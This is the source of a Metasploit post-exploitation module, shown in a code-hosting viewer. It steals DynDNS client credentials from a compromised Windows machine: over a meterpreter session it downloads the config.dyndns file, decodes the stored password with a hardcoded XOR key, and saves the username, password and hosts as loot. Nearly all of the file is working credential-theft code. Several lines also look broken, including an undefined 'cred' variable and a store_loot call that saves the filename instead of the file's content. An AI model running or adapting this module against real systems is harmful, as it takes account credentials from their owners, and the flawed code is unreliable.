CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/dyndns.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Windows Gather DynDNS Client Password Extractor',
14
'Description' => %q{
15
This module extracts the username, password, and hosts for DynDNS version 4.1.8.
16
This is done by downloading the config.dyndns file from the victim machine, and then
17
automatically decode the password field. The original copy of the config file is also
18
saved to disk.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [
22
'Shubham Dawra <shubham2dawra[at]gmail.com>', # SecurityXploded.com
23
'sinn3r', # Lots of code rewrite
24
],
25
'Platform' => [ 'win' ],
26
'SessionTypes' => [ 'meterpreter' ],
27
'Compat' => {
28
'Meterpreter' => {
29
'Commands' => %w[
30
core_channel_eof
31
core_channel_open
32
core_channel_read
33
core_channel_write
34
stdapi_fs_stat
35
]
36
}
37
}
38
)
39
)
40
end
41
42
#
43
# Search for the config file.
44
# Return the config file path, otherwise nil to indicate nothing was found
45
#
46
def get_config_file
47
config_paths =
48
[
49
'C:\\ProgramData\\Dyn\\Updater\\', # Vista
50
'C:\\Documents and Settings\\All Users\\Application Data\\Dyn\\Updater\\' # XP and else
51
]
52
53
# Give me the first match
54
config_file = nil
55
config_paths.each do |p|
56
tmp_path = p + 'config.dyndns'
57
begin
58
f = session.fs.file.stat(tmp_path)
59
config_file = tmp_path
60
break # We've found a valid one, break!
61
rescue StandardError
62
end
63
end
64
65
return config_file
66
end
67
68
#
69
# Download the config file, and then load it up in memory.
70
# Return the content.
71
#
72
def load_config_file(config_file)
73
f = session.fs.file.new(config_file, 'rb')
74
content = ''
75
content << f.read until f.eof?
76
p = store_loot('dyndns.raw', 'text/plain', session, 'dyndns_raw_config.dyndns')
77
vprint_good("Raw config file saved: #{p}")
78
return content
79
end
80
81
#
82
# Parse the data
83
# Return: Hash { :username, :pass, :hosts }
84
#
85
def parse_config(content)
86
# Look at each line for user/pass/host
87
config_data = {}
88
user = content.scan(/Username=([\x21-\x7e]+)/)[0][0]
89
pass = content.scan(/Password=([\x21-\x7e]+)/)[0][0]
90
host = content.scan(/Host\d=([\x21-\x7e]+)/)[0]
91
92
# Let's decode the pass
93
pass = decode_password(pass) if !pass.nil?
94
95
# Store data in a hash, save it to the array
96
# Might contain nil if nothing was regexed
97
config_data = {
98
user: user,
99
pass: pass,
100
hosts: host
101
}
102
103
return config_data
104
end
105
106
#
107
# Decode the password
108
#
109
def decode_password(pass)
110
pass = [pass].pack('H*')
111
s = ''
112
c = 0
113
114
pass.each_byte do |a1|
115
a2 = 't6KzXhCh'[c, 1].unpack('c')[0].to_i
116
s << (a1 ^ a2).chr
117
c = ((c + 1) % 8)
118
end
119
120
return s
121
end
122
123
#
124
# Print results and storeloot
125
#
126
def do_report(data)
127
tbl = Rex::Text::Table.new(
128
'Header' => 'DynDNS Client Data',
129
'Indent' => 1,
130
'Columns' => ['Field', 'Value']
131
)
132
133
creds = Rex::Text::Table.new(
134
'Header' => 'DynDNS Credentials',
135
'Indent' => 1,
136
'Columns' => ['User', 'Password']
137
)
138
139
# Store username/password
140
cred << [data[:user], data[:pass]]
141
142
if !creds.rows.empty?
143
p = store_loot(
144
'dyndns.creds',
145
'text/csv',
146
session,
147
creds.to_csv,
148
'dyndns_creds.csv',
149
'DynDNS Credentials'
150
)
151
print_status("Parsed creds stored in: #{p}")
152
end
153
154
# Store all found hosts
155
hosts = data[:hosts]
156
hosts.each do |host|
157
tbl << ['Host', host]
158
end
159
160
print_status(tbl.to_s)
161
162
if !tbl.rows.empty?
163
p = store_loot(
164
'dyndns.data',
165
'text/plain',
166
session,
167
tbl.to_csv,
168
'dyndns_data.csv',
169
'DynDNS Client Data'
170
)
171
print_status("Parsed data stored in: #{p}")
172
end
173
end
174
175
#
176
# Main function, duh
177
#
178
def run
179
# Find the config file
180
config_file = get_config_file
181
if config_file.nil?
182
print_error('No config file found, will not continue')
183
return
184
end
185
186
# Load the config file
187
print_status('Downloading config.dyndns...')
188
content = load_config_file(config_file)
189
190
if content.empty?
191
print_error('Config file seems empty, will not continue')
192
return
193
end
194
195
# Get parsed data
196
config = parse_config(content)
197
198
# Store data
199
do_report(config)
200
end
201
end
202
203